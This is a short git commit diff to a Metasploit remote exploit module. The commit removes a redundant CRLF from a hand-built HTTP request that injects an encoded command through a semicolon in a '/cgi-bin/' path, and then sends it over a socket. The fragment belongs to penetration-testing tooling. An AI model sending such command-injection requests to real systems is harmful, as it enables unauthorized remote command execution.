Remove the extraneous \r\n (thanks Shuyao!)
git-svn-id: file:///home/svn/framework3/trunk@6884 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
@@ -67,8 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
req =
|
||||
"GET /cgi-bin/;#{str} HTTP/1.1\r\n" +
|
||||
"Host: #{rhost}\r\n" +
|
||||
"Content-Length: 0\r\n" +
|
||||
"\r\n\r\n"
|
||||
"Content-Length: 0\r\n\r\n"
|
||||
|
||||
print_status("Sending GET request with encoded command line...")
|
||||
sock.put(req)
|
||||
|
||||
Reference in New Issue
Block a user